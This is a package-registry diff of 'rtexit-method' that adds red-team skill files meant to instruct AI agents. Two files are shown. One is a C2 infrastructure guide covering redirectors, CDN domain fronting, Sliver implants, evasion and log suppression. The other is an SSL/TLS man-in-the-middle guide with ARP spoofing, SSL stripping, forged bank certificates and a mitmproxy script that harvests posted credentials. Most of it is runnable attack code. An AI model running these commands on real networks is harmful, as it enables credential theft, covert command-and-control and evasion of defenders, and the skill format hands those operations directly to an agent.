rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,333 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-redteam-infra
|
|
3
|
+
description: "Red team infrastructure setup and operational security skill. C2 server hardening, Apache/Nginx redirectors, domain fronting via CDN (Cloudflare, Azure CDN), malleable C2 profiles for Sliver/Cobalt Strike, categorized domain acquisition, SSL certificates for C2, team server setup, redirector chaining, and operator OPSEC. Use at the start of every engagement to build resilient, attribution-resistant infrastructure."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-redteam-infra — Red Team Infrastructure & OpSec
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Professional red team infrastructure separates the operator from the target. If blue team blocks your C2 IP, redirectors absorb the hit while the team server stays hidden. Domain fronting makes C2 traffic look like legitimate CDN traffic. Good infrastructure = longer dwell time, realistic APT simulation.
|
|
11
|
+
|
|
12
|
+
**Infrastructure layers:**
|
|
13
|
+
```
|
|
14
|
+
Operator → Team Server (hidden) → Redirector(s) → Target
|
|
15
|
+
↕
|
|
16
|
+
CDN / Domain Front
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Domain Acquisition & Categorization
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Buy domains that look legitimate and are pre-categorized
|
|
25
|
+
# Categorized domains bypass web proxies that block "Uncategorized" traffic
|
|
26
|
+
|
|
27
|
+
# Check domain categorization
|
|
28
|
+
curl "https://sitereview.bluecoat.com/v/sitereview.jsp?url=TARGET_DOMAIN"
|
|
29
|
+
# Or: Fortinet, McAfee, Palo Alto URL categorization checkers
|
|
30
|
+
|
|
31
|
+
# Good categories for C2: Technology, Business, CDN, Cloud Services
|
|
32
|
+
# Bad categories: Newly Registered, Malware, Suspicious
|
|
33
|
+
|
|
34
|
+
# Aged domains (registered 1+ years ago) = more trusted
|
|
35
|
+
# Tool: expireddomains.net — find expired domains with good reputation
|
|
36
|
+
|
|
37
|
+
# Domain naming patterns for believability:
|
|
38
|
+
# cdn-assets-[company].com
|
|
39
|
+
# updates-[software].com
|
|
40
|
+
# telemetry-[product].net
|
|
41
|
+
# api-gateway-[company].io
|
|
42
|
+
# [company]-cloud-services.com
|
|
43
|
+
|
|
44
|
+
# Check domain history before buying
|
|
45
|
+
curl "https://web.archive.org/web/*/DOMAIN"
|
|
46
|
+
# Avoid: domains previously used for spam/malware
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Phase 2 — VPS / Cloud Infrastructure Setup
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Use separate providers for team server and redirectors
|
|
55
|
+
# Team server: Hetzner, OVH, DigitalOcean (EU providers harder to subpoena quickly)
|
|
56
|
+
# Redirectors: AWS, Azure, GCP (looks like legitimate cloud traffic)
|
|
57
|
+
|
|
58
|
+
# NEVER use your real identity for red team infra
|
|
59
|
+
# Pay with crypto or gift cards for anonymity in authorized tests
|
|
60
|
+
|
|
61
|
+
# Basic VPS hardening (team server)
|
|
62
|
+
# Change SSH port
|
|
63
|
+
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
|
|
64
|
+
systemctl restart sshd
|
|
65
|
+
|
|
66
|
+
# Restrict access to team only
|
|
67
|
+
ufw default deny incoming
|
|
68
|
+
ufw allow from OPERATOR_IP to any port 2222 # SSH — operators only
|
|
69
|
+
ufw allow from REDIRECTOR_IP to any port 50050 # Cobalt Strike / Sliver
|
|
70
|
+
ufw allow 80,443/tcp # For letsencrypt
|
|
71
|
+
ufw enable
|
|
72
|
+
|
|
73
|
+
# No logging of operator IPs
|
|
74
|
+
sed -i 's/^LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config
|
|
75
|
+
|
|
76
|
+
# Firewall: only redirectors can reach team server
|
|
77
|
+
# Targets should NEVER see team server IP directly
|
|
78
|
+
iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 50050 -j ACCEPT
|
|
79
|
+
iptables -A INPUT -p tcp --dport 50050 -j DROP
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3 — Apache/Nginx Redirector Setup
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# Redirector sits between target and team server
|
|
88
|
+
# Blue team sees redirector IP — team server IP stays hidden
|
|
89
|
+
# Redirector checks URI/headers → forwards legit C2 traffic → blocks scanners/defenders
|
|
90
|
+
|
|
91
|
+
# Install Apache
|
|
92
|
+
apt install apache2 -y
|
|
93
|
+
a2enmod proxy proxy_http rewrite ssl headers
|
|
94
|
+
|
|
95
|
+
# /etc/apache2/sites-available/redirector.conf
|
|
96
|
+
cat > /etc/apache2/sites-available/redirector.conf << 'EOF'
|
|
97
|
+
<VirtualHost *:443>
|
|
98
|
+
ServerName cdn-assets-corp.com
|
|
99
|
+
SSLEngine on
|
|
100
|
+
SSLCertificateFile /etc/letsencrypt/live/cdn-assets-corp.com/fullchain.pem
|
|
101
|
+
SSLCertificateKeyFile /etc/letsencrypt/live/cdn-assets-corp.com/privkey.pem
|
|
102
|
+
|
|
103
|
+
# Only forward requests matching C2 URI pattern
|
|
104
|
+
# Everything else → redirect to innocent site (avoids detection)
|
|
105
|
+
RewriteEngine On
|
|
106
|
+
RewriteCond %{REQUEST_URI} ^/updates/client/[a-f0-9]{32}$ [NC]
|
|
107
|
+
RewriteRule ^(.*)$ https://TEAM_SERVER_IP:443$1 [P,L]
|
|
108
|
+
|
|
109
|
+
# All other traffic → redirect to Microsoft (looks like CDN)
|
|
110
|
+
RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]
|
|
111
|
+
|
|
112
|
+
# Block scanners
|
|
113
|
+
RewriteCond %{HTTP_USER_AGENT} (curl|python|nmap|masscan|zgrab) [NC]
|
|
114
|
+
RewriteRule .* - [F]
|
|
115
|
+
|
|
116
|
+
ProxyPassReverse / https://TEAM_SERVER_IP:443/
|
|
117
|
+
SSLProxyEngine On
|
|
118
|
+
SSLProxyVerify none
|
|
119
|
+
</VirtualHost>
|
|
120
|
+
EOF
|
|
121
|
+
|
|
122
|
+
a2ensite redirector.conf && systemctl reload apache2
|
|
123
|
+
|
|
124
|
+
# Get SSL cert (Let's Encrypt)
|
|
125
|
+
certbot --apache -d cdn-assets-corp.com
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Phase 4 — Domain Fronting via CDN
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Domain fronting: use CDN to hide true destination
|
|
134
|
+
# HTTP Host header = your C2 domain
|
|
135
|
+
# SNI/TLS = legitimate CDN domain (e.g., allowed-corp.cloudfront.net)
|
|
136
|
+
# CDN routes based on Host header → reaches your C2
|
|
137
|
+
|
|
138
|
+
# Cloudflare Workers domain fronting
|
|
139
|
+
# 1. Put your C2 domain behind Cloudflare (DNS proxied)
|
|
140
|
+
# 2. Configure Worker to route to team server
|
|
141
|
+
# worker.js:
|
|
142
|
+
cat > worker.js << 'EOF'
|
|
143
|
+
addEventListener('fetch', event => {
|
|
144
|
+
event.respondWith(handleRequest(event.request))
|
|
145
|
+
})
|
|
146
|
+
async function handleRequest(request) {
|
|
147
|
+
const url = new URL(request.url)
|
|
148
|
+
// Forward to team server
|
|
149
|
+
const newUrl = `https://TEAM_SERVER_IP${url.pathname}${url.search}`
|
|
150
|
+
return fetch(newUrl, {
|
|
151
|
+
method: request.method,
|
|
152
|
+
headers: request.headers,
|
|
153
|
+
body: request.body
|
|
154
|
+
})
|
|
155
|
+
}
|
|
156
|
+
EOF
|
|
157
|
+
# Deploy via wrangler CLI
|
|
158
|
+
|
|
159
|
+
# Azure CDN fronting
|
|
160
|
+
# Create Azure CDN endpoint → origin = team server
|
|
161
|
+
# Custom domain = your C2 domain
|
|
162
|
+
# Traffic appears to come from *.azureedge.net
|
|
163
|
+
|
|
164
|
+
# Test domain fronting
|
|
165
|
+
curl -H "Host: YOUR_C2_DOMAIN" https://ALLOWED_CDN_DOMAIN/c2-check
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Phase 5 — Sliver C2 with Redirectors
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# Sliver team server setup (open source C2)
|
|
174
|
+
curl https://sliver.sh/install | sudo bash
|
|
175
|
+
|
|
176
|
+
# Start Sliver server
|
|
177
|
+
sudo systemctl start sliver
|
|
178
|
+
|
|
179
|
+
# Connect operator
|
|
180
|
+
sliver-client
|
|
181
|
+
|
|
182
|
+
# Generate implant pointing to redirector (NOT team server)
|
|
183
|
+
generate --http https://cdn-assets-corp.com --os windows --arch amd64 \
|
|
184
|
+
--name implant --save /tmp/
|
|
185
|
+
|
|
186
|
+
# Create HTTP listener on team server
|
|
187
|
+
https -l 443 -d cdn-assets-corp.com
|
|
188
|
+
|
|
189
|
+
# Multiplayer (team) — add operators
|
|
190
|
+
new-operator --name operator1 --lhost TEAM_SERVER_IP
|
|
191
|
+
# Generates operator1.cfg → share with team member
|
|
192
|
+
|
|
193
|
+
# Implant traffic flow:
|
|
194
|
+
# Target → https://cdn-assets-corp.com (redirector) → TEAM_SERVER_IP:443 (sliver)
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Phase 6 — Malleable C2 Profiles
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# Malleable profiles customize how C2 traffic looks
|
|
203
|
+
# Goal: make beacon traffic look like legitimate application traffic
|
|
204
|
+
|
|
205
|
+
# Sliver custom traffic profile (traffic looks like Google Analytics)
|
|
206
|
+
# Edit ~/.sliver/configs/http-c2.yaml
|
|
207
|
+
|
|
208
|
+
# Custom URI patterns
|
|
209
|
+
uris:
|
|
210
|
+
- /collect
|
|
211
|
+
- /analytics.js
|
|
212
|
+
- /gtag/js
|
|
213
|
+
- /ga.js
|
|
214
|
+
|
|
215
|
+
# Custom headers (mimics Google Analytics)
|
|
216
|
+
headers:
|
|
217
|
+
- "Cache-Control: no-cache"
|
|
218
|
+
- "Accept: text/html,application/xhtml+xml"
|
|
219
|
+
- "Accept-Language: en-US,en;q=0.9"
|
|
220
|
+
|
|
221
|
+
# Cobalt Strike malleable profile example (if available)
|
|
222
|
+
# https://github.com/rsmudge/Malleable-C2-Profiles
|
|
223
|
+
|
|
224
|
+
# Amazon profile (traffic looks like AWS API calls)
|
|
225
|
+
set useragent "aws-sdk-java/1.12.261";
|
|
226
|
+
http-get {
|
|
227
|
+
set uri "/v1/metadata/";
|
|
228
|
+
client { header "x-amz-date" "..."; }
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
# Test profile detection
|
|
232
|
+
# c2lint profile.profile # CS built-in validator
|
|
233
|
+
# Or: pipe implant traffic through Wireshark → verify looks like claimed app
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Phase 7 — Operator OPSEC
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
# Never connect directly to targets from your real IP
|
|
242
|
+
# Chain: Operator → VPN → Jump box → Target
|
|
243
|
+
|
|
244
|
+
# VPN for operators
|
|
245
|
+
# WireGuard setup on jump box
|
|
246
|
+
apt install wireguard -y
|
|
247
|
+
wg genkey | tee /etc/wireguard/private.key | wg pubkey > /etc/wireguard/public.key
|
|
248
|
+
|
|
249
|
+
# /etc/wireguard/wg0.conf (server)
|
|
250
|
+
[Interface]
|
|
251
|
+
Address = 10.8.0.1/24
|
|
252
|
+
ListenPort = 51820
|
|
253
|
+
PrivateKey = SERVER_PRIVATE_KEY
|
|
254
|
+
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|
255
|
+
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
|
|
256
|
+
|
|
257
|
+
[Peer]
|
|
258
|
+
# Operator 1
|
|
259
|
+
PublicKey = OPERATOR1_PUBLIC_KEY
|
|
260
|
+
AllowedIPs = 10.8.0.2/32
|
|
261
|
+
|
|
262
|
+
wg-quick up wg0
|
|
263
|
+
|
|
264
|
+
# OPSEC checklist per engagement:
|
|
265
|
+
# ✅ All traffic through VPN → jump box → target
|
|
266
|
+
# ✅ No direct connections team server ↔ target
|
|
267
|
+
# ✅ Redirectors in place before first beacon
|
|
268
|
+
# ✅ Domain categorized before use
|
|
269
|
+
# ✅ Unique implant per target (no cross-engagement reuse)
|
|
270
|
+
# ✅ Malleable profile matching engagement's allowed traffic
|
|
271
|
+
# ✅ Timestomp all dropped files
|
|
272
|
+
# ✅ Clear logs after engagement (with client approval)
|
|
273
|
+
# ✅ Screenshot all actions for evidence
|
|
274
|
+
|
|
275
|
+
# Deconfliction — register your IPs with SOC
|
|
276
|
+
# "Safe listing" — tell blue team your op IPs to avoid friendly fire
|
|
277
|
+
# Deconfliction email: "Our red team IPs: X.X.X.X — please whitelist"
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## Phase 8 — Infrastructure Teardown
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# After engagement ends — destroy all infrastructure
|
|
286
|
+
|
|
287
|
+
# Remove implants
|
|
288
|
+
# In Sliver: session → kill → all
|
|
289
|
+
sessions
|
|
290
|
+
kill --all
|
|
291
|
+
|
|
292
|
+
# Destroy VPS instances
|
|
293
|
+
# AWS: aws ec2 terminate-instances --instance-ids i-XXXXX
|
|
294
|
+
# DigitalOcean: doctl compute droplet delete DROPLET_ID
|
|
295
|
+
|
|
296
|
+
# Revoke certificates
|
|
297
|
+
certbot revoke --cert-path /etc/letsencrypt/live/DOMAIN/cert.pem
|
|
298
|
+
|
|
299
|
+
# Remove DNS records
|
|
300
|
+
# Delete all A records pointing to red team infrastructure
|
|
301
|
+
|
|
302
|
+
# Burn domains (don't reuse across engagements)
|
|
303
|
+
# Each engagement = fresh domains
|
|
304
|
+
|
|
305
|
+
# Final checklist:
|
|
306
|
+
# ✅ All beacons killed
|
|
307
|
+
# ✅ Persistence removed from targets
|
|
308
|
+
# ✅ VPS destroyed
|
|
309
|
+
# ✅ Domains released/burned
|
|
310
|
+
# ✅ Operator VPN config revoked
|
|
311
|
+
# ✅ Evidence logs delivered to client
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## Skill Levels
|
|
317
|
+
|
|
318
|
+
**BEGINNER:** Single VPS + direct C2 connection (no redirectors) — acceptable for simple engagements
|
|
319
|
+
|
|
320
|
+
**INTERMEDIATE:** Nginx redirector + categorized domain + Let's Encrypt cert + WireGuard VPN for operators
|
|
321
|
+
|
|
322
|
+
**ADVANCED:** Apache malleable redirector + domain fronting via CDN + Sliver with custom HTTP profile
|
|
323
|
+
|
|
324
|
+
**EXPERT:** Multi-hop redirector chains + multiple CDN providers + custom malleable profiles + full deconfliction workflow
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
## References
|
|
329
|
+
|
|
330
|
+
- Sliver C2: https://github.com/BishopFox/sliver
|
|
331
|
+
- Malleable C2 Profiles: https://github.com/rsmudge/Malleable-C2-Profiles
|
|
332
|
+
- RedTeam Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
|
|
333
|
+
- MITRE ATT&CK T1090: https://attack.mitre.org/techniques/T1090/
|
|
@@ -0,0 +1,305 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-ssl-mitm
|
|
3
|
+
description: "SSL/TLS interception and Man-in-the-Middle skill for authorized engagements. mitmproxy transparent proxy setup, Burp Suite MITM configuration, custom CA certificate injection, SSL stripping with SSLstrip2, HSTS bypass, certificate pinning bypass (mobile/desktop), TLS downgrade attacks, and traffic decryption workflows. Use when testing HTTPS applications, intercepting mobile app traffic, or demonstrating insecure TLS configurations."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-ssl-mitm — SSL/TLS Interception & Man-in-the-Middle
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
SSL/TLS MITM attacks intercept encrypted HTTPS traffic between a client and server. In authorized red team engagements, this demonstrates: weak certificate validation, missing HSTS, bypassable certificate pinning, insecure TLS configurations, and cleartext credential exposure after decryption.
|
|
11
|
+
|
|
12
|
+
**Attack scenarios:**
|
|
13
|
+
- Intercept mobile app traffic (no certificate pinning)
|
|
14
|
+
- Demonstrate SSL stripping on internal network
|
|
15
|
+
- Forge certificates to impersonate internal services
|
|
16
|
+
- Decrypt TLS traffic for credential harvesting
|
|
17
|
+
- TLS downgrade to expose weak cipher suites
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Prerequisites
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Install tools
|
|
25
|
+
pip3 install mitmproxy
|
|
26
|
+
apt install sslstrip2 bettercap wireshark tcpdump -y
|
|
27
|
+
|
|
28
|
+
# Burp Suite Pro/Community — https://portswigger.net/burp
|
|
29
|
+
# mitmproxy — https://mitmproxy.org
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Method 1 — mitmproxy (Full HTTPS Interception)
|
|
35
|
+
|
|
36
|
+
### 1a — Transparent Proxy (No client config needed — network position)
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Enable IP forwarding
|
|
40
|
+
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
41
|
+
|
|
42
|
+
# ARP spoof target (position yourself between target and gateway)
|
|
43
|
+
arpspoof -i eth0 -t TARGET_IP GATEWAY_IP &
|
|
44
|
+
arpspoof -i eth0 -t GATEWAY_IP TARGET_IP &
|
|
45
|
+
|
|
46
|
+
# Redirect HTTP and HTTPS to mitmproxy
|
|
47
|
+
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
|
|
48
|
+
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
49
|
+
|
|
50
|
+
# Start mitmproxy in transparent mode
|
|
51
|
+
mitmproxy --mode transparent --showhost
|
|
52
|
+
|
|
53
|
+
# Or mitmdump (no UI — log to file)
|
|
54
|
+
mitmdump --mode transparent --showhost -w traffic.mitm
|
|
55
|
+
|
|
56
|
+
# View captured traffic
|
|
57
|
+
mitmproxy -r traffic.mitm
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### 1b — Regular Proxy Mode (Configure browser/app to use proxy)
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
# Start mitmproxy
|
|
64
|
+
mitmproxy -p 8080
|
|
65
|
+
|
|
66
|
+
# Or with web UI
|
|
67
|
+
mitmweb -p 8080
|
|
68
|
+
# Access: http://127.0.0.1:8081
|
|
69
|
+
|
|
70
|
+
# Install mitmproxy CA cert on target device
|
|
71
|
+
# CA cert location: ~/.mitmproxy/mitmproxy-ca-cert.pem
|
|
72
|
+
# Android: Settings → Security → Install from storage
|
|
73
|
+
# iOS: Settings → General → Profile → Install
|
|
74
|
+
# Windows: certmgr.msc → Trusted Root CAs → Import
|
|
75
|
+
# Linux: cp mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/ && update-ca-certificates
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### 1c — mitmproxy Scripts (Extract credentials automatically)
|
|
79
|
+
|
|
80
|
+
```python
|
|
81
|
+
# cred_extractor.py — auto-extract POST credentials
|
|
82
|
+
from mitmproxy import http
|
|
83
|
+
import re
|
|
84
|
+
|
|
85
|
+
def request(flow: http.HTTPFlow):
|
|
86
|
+
if flow.request.method == "POST":
|
|
87
|
+
body = flow.request.get_text()
|
|
88
|
+
# Extract common credential patterns
|
|
89
|
+
patterns = [
|
|
90
|
+
r'(password|passwd|pass|pwd)=([^&\s]+)',
|
|
91
|
+
r'(username|user|login|email)=([^&\s]+)',
|
|
92
|
+
r'"(password|token|api_key)"\s*:\s*"([^"]+)"',
|
|
93
|
+
]
|
|
94
|
+
for p in patterns:
|
|
95
|
+
for m in re.findall(p, body, re.IGNORECASE):
|
|
96
|
+
print(f"[CRED] {flow.request.host} | {m[0]}={m[1]}")
|
|
97
|
+
# Log all POST to file
|
|
98
|
+
with open("/tmp/posts.log", "a") as f:
|
|
99
|
+
f.write(f"\n=== {flow.request.host}{flow.request.path} ===\n{body}\n")
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# Run with script
|
|
104
|
+
mitmproxy -p 8080 -s cred_extractor.py
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Method 2 — Burp Suite MITM
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Start Burp Suite → Proxy → Options
|
|
113
|
+
# Bind: 0.0.0.0:8080 (all interfaces)
|
|
114
|
+
# Import Burp CA: http://burpsuite/cert → download → install on target
|
|
115
|
+
|
|
116
|
+
# Intercept all HTTPS from target network
|
|
117
|
+
# Add upstream proxy chain if needed:
|
|
118
|
+
# User Options → Connections → Upstream Proxy → add target network gateway
|
|
119
|
+
|
|
120
|
+
# Burp invisible proxy (for non-proxy-aware clients)
|
|
121
|
+
# Proxy → Options → Edit listener → Request Handling
|
|
122
|
+
# ☑ Support invisible proxying
|
|
123
|
+
# Add iptables redirect rules (same as mitmproxy transparent)
|
|
124
|
+
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Method 3 — SSL Stripping (HTTP Downgrade)
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# SSLstrip2 + bettercap — downgrades HTTPS to HTTP even with HSTS (partially)
|
|
133
|
+
|
|
134
|
+
# Method A: bettercap (modern, all-in-one)
|
|
135
|
+
bettercap -iface eth0
|
|
136
|
+
|
|
137
|
+
# In bettercap console:
|
|
138
|
+
net.probe on # Discover hosts
|
|
139
|
+
set arp.spoof.targets TARGET_IP
|
|
140
|
+
arp.spoof on # Position as MITM
|
|
141
|
+
set net.sniff.verbose true
|
|
142
|
+
net.sniff on # Capture traffic
|
|
143
|
+
https.proxy on # SSL strip
|
|
144
|
+
|
|
145
|
+
# Method B: sslstrip2
|
|
146
|
+
python3 sslstrip2.py -l 10000 -w stripped.log
|
|
147
|
+
|
|
148
|
+
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
|
149
|
+
|
|
150
|
+
# HSTS bypass technique: rename www.target.com → wwww.target.com (extra w)
|
|
151
|
+
# If HSTS not pinned to subdomains, works on some sites
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Method 4 — Custom CA Certificate Forgery
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# Generate your own CA
|
|
160
|
+
openssl genrsa -out myCA.key 4096
|
|
161
|
+
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 \
|
|
162
|
+
-out myCA.pem \
|
|
163
|
+
-subj "/C=US/ST=NY/O=Corp IT/CN=Corp Internal CA"
|
|
164
|
+
|
|
165
|
+
# Sign a fake certificate for any domain
|
|
166
|
+
openssl genrsa -out fake.key 2048
|
|
167
|
+
openssl req -new -key fake.key -out fake.csr \
|
|
168
|
+
-subj "/CN=login.bank.com/O=Bank Corp/C=US"
|
|
169
|
+
|
|
170
|
+
openssl x509 -req -in fake.csr -CA myCA.pem -CAkey myCA.key \
|
|
171
|
+
-CAcreateserial -out fake.crt -days 365 -sha256 \
|
|
172
|
+
-extfile <(printf "subjectAltName=DNS:login.bank.com,DNS:*.bank.com")
|
|
173
|
+
|
|
174
|
+
# Configure nginx to serve with fake cert
|
|
175
|
+
server {
|
|
176
|
+
listen 443 ssl;
|
|
177
|
+
server_name login.bank.com;
|
|
178
|
+
ssl_certificate /path/to/fake.crt;
|
|
179
|
+
ssl_certificate_key /path/to/fake.key;
|
|
180
|
+
location / { proxy_pass https://real-login.bank.com; }
|
|
181
|
+
}
|
|
182
|
+
# If target has your CA installed → no browser warning
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## Method 5 — TLS Configuration Audit & Downgrade
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Test TLS configuration of target
|
|
191
|
+
testssl.sh https://target.com
|
|
192
|
+
# Checks: supported versions, cipher suites, HSTS, HPKP, certificate issues
|
|
193
|
+
|
|
194
|
+
# Check for weak ciphers
|
|
195
|
+
nmap --script ssl-enum-ciphers -p 443 target.com
|
|
196
|
+
# Look for: SSLv3, TLSv1.0, TLSv1.1, RC4, DES, EXPORT ciphers
|
|
197
|
+
|
|
198
|
+
# Check certificate details
|
|
199
|
+
openssl s_client -connect target.com:443 -showcerts 2>/dev/null | openssl x509 -noout -text
|
|
200
|
+
# Look for: SHA1 signature, weak key size (<2048), expired, wrong SAN
|
|
201
|
+
|
|
202
|
+
# TLS downgrade test
|
|
203
|
+
openssl s_client -connect target.com:443 -tls1 # Force TLS 1.0
|
|
204
|
+
openssl s_client -connect target.com:443 -ssl3 # Force SSLv3 (POODLE)
|
|
205
|
+
openssl s_client -connect target.com:443 -cipher RC4-SHA # Force RC4
|
|
206
|
+
|
|
207
|
+
# BEAST/POODLE/DROWN scanner
|
|
208
|
+
python3 test-rc4.py target.com
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## Method 6 — Certificate Pinning Bypass
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
# Mobile apps pin the server certificate — MITM fails without bypass
|
|
217
|
+
# See also: rt-exploit-android / rt-exploit-ios for Frida-based bypass
|
|
218
|
+
|
|
219
|
+
# Universal pinning bypass (Frida)
|
|
220
|
+
frida -U -f com.target.app --no-pause -s ssl-pinning-bypass.js
|
|
221
|
+
# Scripts: github.com/httptoolkit/frida-interception-and-unpinning
|
|
222
|
+
|
|
223
|
+
# objection (easier)
|
|
224
|
+
objection -g com.target.app explore
|
|
225
|
+
objection> android sslpinning disable
|
|
226
|
+
objection> ios sslpinning disable
|
|
227
|
+
|
|
228
|
+
# Desktop apps (Charles/mitmproxy CA install + bypass)
|
|
229
|
+
# Electron: nodeIntegration=true → patch tlsSocket
|
|
230
|
+
# .NET: add custom CertificateValidationCallback returning true
|
|
231
|
+
# Java: override TrustManager to accept all certs
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Method 7 — Network-Wide Interception (Internal Red Team)
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Full internal network MITM — intercept all HTTPS traffic on subnet
|
|
240
|
+
|
|
241
|
+
# Step 1 — ARP spoof entire subnet (use carefully — can cause DoS)
|
|
242
|
+
bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"
|
|
243
|
+
|
|
244
|
+
# Step 2 — Redirect all HTTPS to mitmproxy
|
|
245
|
+
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
246
|
+
mitmproxy --mode transparent
|
|
247
|
+
|
|
248
|
+
# Step 3 — Parse captured traffic
|
|
249
|
+
mitmdump -r traffic.mitm -q --flow-detail 3 | grep -i "password\|token\|Authorization"
|
|
250
|
+
|
|
251
|
+
# Step 4 — Extract credentials from MITM dump
|
|
252
|
+
python3 << 'EOF'
|
|
253
|
+
from mitmproxy.io import FlowReader
|
|
254
|
+
with open("traffic.mitm", "rb") as f:
|
|
255
|
+
reader = FlowReader(f)
|
|
256
|
+
for flow in reader.stream():
|
|
257
|
+
if hasattr(flow, 'request') and flow.request.method == "POST":
|
|
258
|
+
print(f"HOST: {flow.request.host}")
|
|
259
|
+
print(f"BODY: {flow.request.get_text()[:500]}")
|
|
260
|
+
print("---")
|
|
261
|
+
EOF
